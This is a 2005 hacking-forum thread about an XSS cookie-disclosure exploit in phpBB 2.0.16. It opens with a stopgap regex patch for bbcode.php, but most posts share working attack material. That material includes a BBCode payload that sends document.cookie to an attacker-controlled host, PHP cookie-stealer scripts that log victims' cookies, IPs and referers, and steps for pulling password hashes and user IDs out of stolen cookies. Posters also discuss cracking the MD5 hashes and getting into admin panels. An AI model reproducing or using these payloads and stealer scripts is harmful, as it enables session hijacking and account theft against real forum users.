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www.waraxe.us Forum Index -> PhpBB -> phpBB 2.0.16 XSS Remote Cookie Disclosure Exploit Goto page Previous  1, 2, 3, 4, 5, 6, 7, 8  Next
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PostPosted: Sun Jul 10, 2005 5:57 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




WaterBird wrote:
Btw any idea how to fix this hole ? Phpbb don't know about it yet ?


Ok, look at "includes/bbcode.php", function "bbencode_second_pass()":

Code:

   // matches a [url]xxxx://www.phpbb.com[/url] code..
   $patterns[] = "#\[url\]([\w]+?://[^ \"\n\r\t<]*?)\[/url\]#is";
   $replacements[] = $bbcode_tpl['url1'];

   // [url]www.phpbb.com[/url] code.. (no xxxx:// prefix).
   $patterns[] = "#\[url\]((www|ftp)\.[^ \"\n\r\t<]*?)\[/url\]#is";
   $replacements[] = $bbcode_tpl['url2'];

   // [url=xxxx://www.phpbb.com]phpBB[/url] code..
   $patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
   $replacements[] = $bbcode_tpl['url3'];

   // [url=www.phpbb.com]phpBB[/url] code.. (no xxxx:// prefix).
   $patterns[] = "#\[url=((www|ftp)\.[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is";
   $replacements[] = $bbcode_tpl['url4'];



Now, you must improve those regexes, like:

Code:

[^ \"\n\r\t<]


Add there some more "dangerous" chars, like :

Code:

[^ \"\n\r\t\'\`\[\]<]


This is primitive and temporal patch, but it seems to work righ now.
When phpBB developers will release their own patch, i suggest to use that one Smile
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PostPosted: Sun Jul 10, 2005 6:19 pm Reply with quote
WaterBird
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Joined: May 16, 2005
Posts: 37




Thank You :}
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cookie to pass
PostPosted: Sun Jul 10, 2005 8:22 pm Reply with quote
mimdrj
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Joined: Jul 10, 2005
Posts: 1




i got cookies but i reallydon't know hoe to get pass from cookies please help it is too important for me thnks
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PostPosted: Sun Jul 10, 2005 8:52 pm Reply with quote
diaga
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Joined: Jun 27, 2005
Posts: 22




works fine for me =]

By using a short domain (I'm using 3 char), you could even fit it into a signature =]
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PostPosted: Sun Jul 10, 2005 10:12 pm Reply with quote
g30rg3_x
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Joined: Jan 23, 2005
Posts: 31
Location: OutSide Of The PE




Shocked

just a few hours and post get 33 post Laughing

yeah, i have to re read all the post, and i answer some questions that i see and this has not been correctly answered...

another bbcode flaw combination with Social engineering ,I think *_^

yeah it requires a social engineering, for grabing the most value cookie
who is the admin cookie Wink

sorry but i dont understand what do you mean only work on IE

yeah i know its too late, but this poc just execute on IE,
and excellent short video... Wink

by the way, g30rg3_x, did you manage to use this exploit ?

nop, i just remenber all you guys that this exploit its not officially patched, but our webmaster have been launch a unofficial but working patch Wink

Cookie Stealer Code...
mmm, i use this:
Code:

<?php
$cookie = $_GET['cookie'];
$fff = fopen("cookie.txt","a+");
fwrite($fff, "$cookie \n");
fclose($fff);
?>


jpg/txt/gif cookie stealer...

this doesnt exist they use a .txt or .jpg or .bmp or whatever, why???
this is simply if you put php this will execute in your server side, so if you put in .txt or whatever this "bad cookie stealer code" would be injected in the website and not include thats the real thing, thats happens and because are use .xxx extensions

i got cookies but i reallydon't know hoe to get pass from cookies please help it is too important for me thnks

as you see, you would get something like:
Code:

phpbb2mysql_t=a:2:{i:1;i:1121004937;i:2;i:1121005196;};
phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c2150783216c11afea291d179e7b1902";s:6:"userid";i:666;}; phpbb2mysql_sid=b57ae9f7898f1ccebf7e07fa427e5998


the part you need its:
phpbb2mysql_data=a:2:{s:11:"autologinid";s:32:"c2150783216c11afea291d179e7b1902";s:6:"userid";i:666;};

every information has a work, like the
c2150783216c11afea291d179e7b1902
its the hash of thepassword of the user that you steal his cookie...

"userid";i:666;
you can view this as:
userid: 666

so, now you sure ask, and what user its this, simply see his profile
http://www.theexploitedsite.com/forum/profile.php?mode=viewprofile&u=x

where the value x on u its the userid so in this case:
http://www.theexploitedsite.com/forum/profile.php?mode=viewprofile&u=666
and now you will see what user is Wink

sorry for the too late answers, but this topic moves so fast Razz
Laughing

regards


Last edited by g30rg3_x on Mon Jul 11, 2005 7:03 pm; edited 2 times in total
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PostPosted: Mon Jul 11, 2005 6:27 pm Reply with quote
KingOfSka
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Joined: Mar 13, 2005
Posts: 61




i tested locally and in some test forum, the exploit is working (i used a mine cookie stealer file) but i used mod rewrite to have a .png file to be processed as php, but the only problem is that it seems to work only in the body part of a post, and not in pm...
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PostPosted: Mon Jul 11, 2005 7:56 pm Reply with quote
700G
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Joined: Mar 25, 2005
Posts: 33




I havent tired it in a PM yet, but it definitely works as a signature too Very Happy
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PostPosted: Tue Jul 12, 2005 9:44 am Reply with quote
KingOfSka
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Joined: Mar 13, 2005
Posts: 61




verbatim wrote:

any ideas ?is there a mistake here :
Code:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite.com/cookie.php'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

finally, did you manage to use this exploit with a personnal stealer script ?

(i know, a lot of question, but i guess it may help other readers Wink)

yes there's an error Very Happy it should be /cookie.php?var='+document.cookie , where var is the name of the variable that should store the cookie
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PostPosted: Wed Jul 13, 2005 3:11 am Reply with quote
theOne
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Joined: May 31, 2005
Posts: 8




How would you go abouts doing it like they'r edoing at anticaht? using jpg and still getting info?
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PostPosted: Wed Jul 13, 2005 5:55 am Reply with quote
700G
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Joined: Mar 25, 2005
Posts: 33




Herer is what exactly is working for me:



Code:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://site.com/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]


and i am using this script:

Code:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: /redirectpage.html");
?>


working very well. I have a long list of cracked MD5's using Cain and rainbow tables Very Happy
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PostPosted: Wed Jul 13, 2005 11:54 am Reply with quote
_daemon_
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Joined: Jul 13, 2005
Posts: 4
Location: Greece




Hey there, thats great info! Congrats. I'd like to ask a question: Why cant this work on firefox? Its ok with IE but many people use ff, opera, etc. nowdays. Thanks a bunch
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PostPosted: Wed Jul 13, 2005 12:42 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




_daemon_ wrote:
Hey there, thats great info! Congrats. I'd like to ask a question: Why cant this work on firefox? Its ok with IE but many people use ff, opera, etc. nowdays. Thanks a bunch


Maybe because IE is less restrictive on some rules, like using of the various quotes. I mean, firefox will not accept " ` " character as substitute of the single or double quote.
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PostPosted: Wed Jul 13, 2005 9:35 pm Reply with quote
g30rg3_x
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Joined: Jan 23, 2005
Posts: 31
Location: OutSide Of The PE




in the original advisory in russian
( http://antichat.ru/txt/phpbb/ )

says that this exploits works because, IE takes ` at his equivalent " so thats for only execute in IE and not with others engines..
Quote:

....
Pay attention to a symbol `. It not ', but in this case is perceived Internet Explorer'ii as its equivalent. Here result:



regards
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PostPosted: Thu Jul 14, 2005 12:09 am Reply with quote
Slobo
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Joined: Jul 14, 2005
Posts: 2




What if the admin control panel is password protected, how should the cookie be edited to login automatically in the admin area?
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PostPosted: Thu Jul 14, 2005 8:06 am Reply with quote
KingOfSka
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Joined: Mar 13, 2005
Posts: 61




sometimes you simply can't, there are some mod that require the admin to inserti his password to log in the admin panel, regardless cookies, so you have to crack it
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phpBB 2.0.16 XSS Remote Cookie Disclosure Exploit
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